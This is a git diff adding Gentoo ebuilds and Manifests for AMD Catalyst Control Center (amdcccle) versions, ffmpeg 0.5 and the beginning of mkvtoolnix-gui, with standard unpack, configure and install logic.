+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle
+}
diff --git a/media-video/amdcccle/amdcccle-11.11.ebuild b/media-video/amdcccle/amdcccle-11.11.ebuild
new file mode 100644
index 00000000..bf86fc54
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.11.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)]
+	~x11-drivers/ati-userspace-${PV}
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle
+	dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui
+}
diff --git a/media-video/amdcccle/amdcccle-11.12.ebuild b/media-video/amdcccle/amdcccle-11.12.ebuild
new file mode 100644
index 00000000..bf86fc54
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.12.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)]
+	~x11-drivers/ati-userspace-${PV}
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle
+	dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui
+}
diff --git a/media-video/amdcccle/amdcccle-11.6.ebuild b/media-video/amdcccle/amdcccle-11.6.ebuild
new file mode 100644
index 00000000..f0ed060b
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.6.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x11-drivers/ati-drivers[-qt4(-)]
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle
+}
diff --git a/media-video/amdcccle/amdcccle-11.8.ebuild b/media-video/amdcccle/amdcccle-11.8.ebuild
new file mode 100644
index 00000000..f0ed060b
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.8.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x11-drivers/ati-drivers[-qt4(-)]
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle
+}
diff --git a/media-video/amdcccle/amdcccle-11.9.ebuild b/media-video/amdcccle/amdcccle-11.9.ebuild
new file mode 100644
index 00000000..f0ed060b
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-11.9.ebuild
@@ -0,0 +1,62 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://ati.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/ati-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="x11-drivers/ati-drivers[-qt4(-)]
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/"${ARCH_BASE}"/usr/X11R6/bin/amdcccle
+}
diff --git a/media-video/amdcccle/amdcccle-12.1-r1.ebuild b/media-video/amdcccle/amdcccle-12.1-r1.ebuild
new file mode 100644
index 00000000..4e6e66ce
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-12.1-r1.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)]
+	~x11-drivers/ati-userspace-${PV}
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle
+	dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui
+}
diff --git a/media-video/amdcccle/amdcccle-12.2.ebuild b/media-video/amdcccle/amdcccle-12.2.ebuild
new file mode 100644
index 00000000..4e6e66ce
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-12.2.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)]
+	~x11-drivers/ati-userspace-${PV}
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle
+	dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui
+}
diff --git a/media-video/amdcccle/amdcccle-12.3.ebuild b/media-video/amdcccle/amdcccle-12.3.ebuild
new file mode 100644
index 00000000..4e6e66ce
--- /dev/null
+++ b/media-video/amdcccle/amdcccle-12.3.ebuild
@@ -0,0 +1,64 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils versionator
+
+DESCRIPTION="AMD Catalyst Control Center Linux Edition"
+HOMEPAGE="http://www.amd.com"
+# 8.ble will be used for beta releases.
+if [[ $(get_major_version) -gt 8 ]]; then
+	ATI_URL="http://www2.ati.com/drivers/linux/"
+	SRC_URI="${ATI_URL}/amd-driver-installer-${PV/./-}-x86.x86_64.run"
+	FOLDER_PREFIX="common/"
+else
+	SRC_URI="https://launchpad.net/ubuntu/natty/+source/fglrx-installer/2:${PV}-0ubuntu1/+files/fglrx-installer_${PV}.orig.tar.gz"
+	FOLDER_PREFIX=""
+fi
+IUSE=""
+
+LICENSE="QPL-1.0 as-is"
+KEYWORDS="~amd64 ~x86"
+SLOT="1"
+
+RDEPEND="~x11-drivers/ati-drivers-${PV}[-qt4(-)]
+	~x11-drivers/ati-userspace-${PV}
+	x11-libs/qt-core
+	x11-libs/qt-gui"
+
+DEPEND=""
+S="${WORKDIR}"
+
+QA_EXECSTACK="opt/bin/amdcccle"
+
+src_unpack() {
+	if [[ $(get_major_version) -gt 8 ]]; then
+		# Switching to a standard way to extract the files since otherwise no signature file
+		# would be created
+		local src="${DISTDIR}/${A}"
+		sh "${src}" --extract "${S}"
+	else
+		unpack ${A}
+	fi
+}
+
+src_compile() {
+	echo
+}
+
+src_install() {
+	insinto /usr/share
+	doins -r ${FOLDER_PREFIX}usr/share/ati
+	insinto /usr/share/pixmaps
+	doins ${FOLDER_PREFIX}usr/share/icons/ccc_large.xpm
+	make_desktop_entry amdcccle 'ATI Catalyst Control Center' \
+		ccc_large System
+
+	use x86 && ARCH_BASE="x86"
+	use amd64 && ARCH_BASE="x86_64"
+        into /opt
+        dobin arch/${ARCH_BASE}/usr/X11R6/bin/amdcccle
+	dosbin arch/${ARCH_BASE}/usr/sbin/amdnotifyui
+}
diff --git a/media-video/ffmpeg/Manifest b/media-video/ffmpeg/Manifest
new file mode 100644
index 00000000..bf20ba29
--- /dev/null
+++ b/media-video/ffmpeg/Manifest
@@ -0,0 +1,2 @@
+DIST ffmpeg-0.5_p20373.tar.bz2 3087600 RMD160 6a960e0837f419c882c7bd18c91f582df0e19c58 SHA1 ddf5d0389586d8ceb2979e0804a7b80a9640aad4 SHA256 2a217144c82f11c80f325c653157bd9fc5424dc43a2b2ccbc8eb03a01d33418d
+EBUILD ffmpeg-0.5_p20373.ebuild 7714 RMD160 838aff2ef33f2947af39714eecc6d6660b30176e SHA1 43efda8ebf7b4106138d426b7889cfdb7f54faf0 SHA256 71ef718d0f1cec16d30f603cae2a7e53a8e708773cb6cafe075b87a6cfe1f658
diff --git a/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild b/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild
new file mode 100644
index 00000000..1f89c173
--- /dev/null
+++ b/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild
@@ -0,0 +1,255 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/ffmpeg/ffmpeg-0.5_p20373.ebuild,v 1.12 2010/04/23 12:53:48 ssuominen Exp $
+
+EAPI=2
+SCM=""
+if [ "${PV#9999}" != "${PV}" ] ; then
+	SCM=subversion
+	ESVN_REPO_URI="svn://svn.ffmpeg.org/ffmpeg/trunk"
+fi
+
+inherit eutils flag-o-matic multilib toolchain-funcs ${SCM}
+
+DESCRIPTION="Complete solution to record, convert and stream audio and video. Includes libavcodec."
+HOMEPAGE="http://ffmpeg.org/"
+if [ "${PV#9999}" != "${PV}" ] ; then
+	SRC_URI=""
+elif [ "${PV%_p*}" != "${PV}" ] ; then # Snapshot
+	SRC_URI="mirror://gentoo/${P}.tar.bz2"
+else # Release
+	SRC_URI="http://ffmpeg.org/releases/${P}.tar.bz2"
+fi
+FFMPEG_REVISION="${PV#*_p}"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sparc x86 ~x86-fbsd"
+IUSE="+3dnow +3dnowext alsa altivec cpudetection custom-cflags debug dirac
+	  doc ieee1394 +encode faac faad gsm ipv6 jack +mmx +mmxext vorbis test
+	  theora threads x264 xvid network zlib sdl X mp3 amr
+	  oss pic schroedinger +hardcoded-tables bindist v4l v4l2
+	  speex +ssse3 jpeg2k vdpau"
+
+VIDEO_CARDS="nvidia"
+
+for x in ${VIDEO_CARDS}; do
+	IUSE="${IUSE} video_cards_${x}"
+done
+
+RDEPEND="sdl? ( >=media-libs/libsdl-1.2.10 )
+	alsa? ( media-libs/alsa-lib )
+	encode? (
+		faac? ( media-libs/faac )
+		mp3? ( media-sound/lame )
+		vorbis? ( media-libs/libvorbis media-libs/libogg )
+		theora? ( media-libs/libtheora[encode] media-libs/libogg )
+		x264? ( >=media-libs/x264-0.0.20091021 )
+		xvid? ( >=media-libs/xvid-1.1.0 ) )
+	faad? ( >=media-libs/faad2-2.6.1 )
+	zlib? ( sys-libs/zlib )
+	ieee1394? ( media-libs/libdc1394
+				sys-libs/libraw1394 )
+	dirac? ( media-video/dirac )
+	gsm? ( >=media-sound/gsm-1.0.12-r1 )
+	jpeg2k? ( >=media-libs/openjpeg-1.3-r2 )
+	amr? ( media-libs/opencore-amr )
+	schroedinger? ( media-libs/schroedinger )
+	speex? ( >=media-libs/speex-1.2_beta3 )
+	jack? ( media-sound/jack-audio-connection-kit )
+	X? ( x11-libs/libX11 x11-libs/libXext )
+	video_cards_nvidia? (
+		vdpau? ( >=x11-libs/libvdpau-0.3 )
+	)"
+
+DEPEND="${RDEPEND}
+	>=sys-devel/make-3.81
+	dirac? ( dev-util/pkgconfig )
+	schroedinger? ( dev-util/pkgconfig )
+	mmx? ( dev-lang/yasm )
+	doc? ( app-text/texi2html )
+	test? ( net-misc/wget )
+	v4l? ( sys-kernel/linux-headers )
+	v4l2? ( sys-kernel/linux-headers )"
+
+src_prepare() {
+	if [[ ${PV} = *9999* ]]; then
+		# Set SVN version manually
+		subversion_wc_info
+		sed -i s/UNKNOWN/SVN-r${ESVN_WC_REVISION}/ "${S}/version.sh"
+	elif [ "${PV%_p*}" != "${PV}" ] ; then # Snapshot
+		sed -i s/UNKNOWN/SVN-r${FFMPEG_REVISION}/ "${S}/version.sh"
+	fi
+}
+
+src_configure() {
+	local myconf="${EXTRA_FFMPEG_CONF}"
+
+	# enabled by default
+	use debug || myconf="${myconf} --disable-debug"
+	use zlib || myconf="${myconf} --disable-zlib"
+	use sdl || myconf="${myconf} --disable-ffplay"
+
+	if use network; then
+		use ipv6 || myconf="${myconf} --disable-ipv6"
+	else
+		myconf="${myconf} --disable-network"
+	fi
+
+	use custom-cflags && myconf="${myconf} --disable-optimizations"
+	use cpudetection && myconf="${myconf} --enable-runtime-cpudetect"
+
+	# enabled by default
+	if use encode
+	then
+		use mp3 && myconf="${myconf} --enable-libmp3lame"
+		use vorbis && myconf="${myconf} --enable-libvorbis"
+		use theora && myconf="${myconf} --enable-libtheora"
+		use x264 && myconf="${myconf} --enable-libx264"
+		use xvid && myconf="${myconf} --enable-libxvid"
+	else
+		myconf="${myconf} --disable-encoders"
+	fi
+
+	# libavdevice options
+	use ieee1394 && myconf="${myconf} --enable-libdc1394"
+	# Indevs
+	for i in v4l v4l2 alsa oss jack ; do
+		use $i || myconf="${myconf} --disable-indev=$i"
+	done
+	# Outdevs
+	for i in alsa oss ; do
+		use $i || myconf="${myconf} --disable-outdev=$i"
+	done
+	use X && myconf="${myconf} --enable-x11grab"
+
+	# Threads; we only support pthread for now but ffmpeg supports more
+	use threads && myconf="${myconf} --enable-pthreads"
+
+	# Decoders
+	use amr && myconf="${myconf} --enable-libopencore-amrwb
+		--enable-libopencore-amrnb"
+	for i in faad dirac schroedinger speex; do
+		use $i && myconf="${myconf} --enable-lib$i"
+	done
+	use jpeg2k && myconf="${myconf} --enable-libopenjpeg"
+	if use gsm; then
+		myconf="${myconf} --enable-libgsm"
+		# Crappy detection or our installation is weird, pick one (FIXME)
+		append-flags -I/usr/include/gsm
+	fi
+	if use bindist
+	then
+		use faac && ewarn "faac is nonfree and cannot be distributed; disabling
+		faac support."
+	else
+		use faac && myconf="${myconf} --enable-libfaac"
+		{ use faac ; } && myconf="${myconf} --enable-nonfree"
+	fi
+
+	#for i in h264_vdpau mpeg1_vdpau mpeg_vdpau vc1_vdpau wmv3_vdpau; do
+	#	use video_cards_nvidia || myconf="${myconf} --disable-decoder=$i"
+	#	use vdpau || myconf="${myconf} --disable-decoder=$i"
+	#done
+	use video_cards_nvidia || myconf="${myconf} --disable-vdpau"
+	use vdpau || myconf="${myconf} --disable-vdpau"
+
+	# CPU features
+	for i in mmx ssse3 altivec ; do
+		use $i ||  myconf="${myconf} --disable-$i"
+	done
+	use mmxext || myconf="${myconf} --disable-mmx2"
+	use 3dnow || myconf="${myconf} --disable-amd3dnow"
+	use 3dnowext || myconf="${myconf} --disable-amd3dnowext"
+	# disable mmx accelerated code if PIC is required
+	# as the provided asm decidedly is not PIC.
+	if gcc-specs-pie ; then
+		myconf="${myconf} --disable-mmx --disable-mmx2"
+	fi
+
+	# Option to force building pic
+	use pic && myconf="${myconf} --enable-pic"
+
+	# Try to get cpu type based on CFLAGS.
+	# Bug #172723
+	# We need to do this so that features of that CPU will be better used
+	# If they contain an unknown CPU it will not hurt since ffmpeg's configure
+	# will just ignore it.
+	for i in $(get-flag march) $(get-flag mcpu) $(get-flag mtune) ; do
+		[ "${i}" = "native" ] && i="host" # bug #273421
+		myconf="${myconf} --cpu=$i"
+		break
+	done
+
+	# Mandatory configuration
+	myconf="${myconf} --enable-gpl --enable-version3 --enable-postproc \
+			--enable-avfilter --enable-avfilter-lavf \
+			--disable-stripping"
+
+	# cross compile support
+	if tc-is-cross-compiler ; then
+		myconf="${myconf} --enable-cross-compile --arch=$(tc-arch-kernel) --cross-prefix=${CHOST}-"
+		case ${CHOST} in
+			*freebsd*)
+				myconf="${myconf} --target-os=freebsd"
+				;;
+			mingw32*)
+				myconf="${myconf} --target-os=mingw32"
+				;;
+			*linux*)
+				myconf="${myconf} --target-os=linux"
+				;;
+		esac
+	fi
+
+	# Misc stuff
+	use hardcoded-tables && myconf="${myconf} --enable-hardcoded-tables"
+
+	# Specific workarounds for too-few-registers arch...
+	if [[ $(tc-arch) == "x86" ]]; then
+		filter-flags -fforce-addr -momit-leaf-frame-pointer
+		append-flags -fomit-frame-pointer
+		is-flag -O? || append-flags -O2
+		if (use debug); then
+			# no need to warn about debug if not using debug flag
+			ewarn ""
+			ewarn "Debug information will be almost useless as the frame pointer is omitted."
+			ewarn "This makes debugging harder, so crashes that has no fixed behavior are"
+			ewarn "difficult to fix. Please have that in mind."
+			ewarn ""
+		fi
+	fi
+
+	cd "${S}"
+	./configure \
+		--prefix=/usr \
+		--libdir=/usr/$(get_libdir) \
+		--shlibdir=/usr/$(get_libdir) \
+		--mandir=/usr/share/man \
+		--enable-static --enable-shared \
+		--cc="$(tc-getCC)" \
+		${myconf} || die "configure failed"
+}
+
+src_compile() {
+	emake version.h || die #252269
+	emake || die "make failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "Install Failed"
+
+	dodoc Changelog README INSTALL
+	dodoc doc/*
+}
+
+src_test() {
+	if use encode ; then
+		for t in codectest lavftest seektest ; do
+			LD_LIBRARY_PATH="${S}/libpostproc:${S}/libswscale:${S}/libavcodec:${S}/libavdevice:${S}/libavfilter:${S}/libavformat:${S}/libavutil" \
+				emake ${t} || die "Some tests in ${t} failed"
+		done
+	else
+		ewarn "Tests fail without USE=encode, skipping"
+	fi
+}
diff --git a/media-video/mkvtoolnix-gui/Manifest b/media-video/mkvtoolnix-gui/Manifest
new file mode 100644
index 00000000..d3bb2b67
--- /dev/null
+++ b/media-video/mkvtoolnix-gui/Manifest
@@ -0,0 +1,2 @@
+DIST mkvtoolnix-5.0.1.tar.bz2 2155095 RMD160 3c6220a1ff304a18e4d7125d6981966c3e9d368e SHA1 900211d47ba6cbeb4188bb45a492a2b9edf08ed2 SHA256 eecc48d17c0583b6b071e710bfe88ae09439bd99bb90c694a2fed0651bb08f19
+EBUILD mkvtoolnix-gui-5.0.1.ebuild 1944 RMD160 7a51e60d50668cd22f194d4739f5da660941fe4b SHA1 6226427f76d8e98d702bca5f1a273a7d0e4ccb08 SHA256 6688d8731baaf28b953da4adf05b33f70c6f81ac1f6746ad4ebc7008d4a1e290
diff --git a/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild b/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild
new file mode 100644
index 00000000..bf200869
--- /dev/null
+++ b/media-video/mkvtoolnix-gui/mkvtoolnix-gui-5.0.1.ebuild
@@ -0,0 +1,81 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit wxwidgets autotools
+
+MY_P=${P/-gui}
+DESCRIPTION="Tools to create, alter, and inspect Matroska files"
+HOMEPAGE="http://www.bunkus.org/videotools/mkvtoolnix"
+SRC_URI="http://www.bunkus.org/videotools/mkvtoolnix/sources/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
+IUSE="bzip2 debug lzo pch wxwidgets"
+
+RDEPEND="
+	>=dev-libs/libebml-1.2.2
+	>=media-libs/libmatroska-1.3.0
+	>=dev-libs/boost-1.36.0
+	dev-libs/expat
+	media-libs/flac
+	media-libs/libogg
+	media-libs/libvorbis
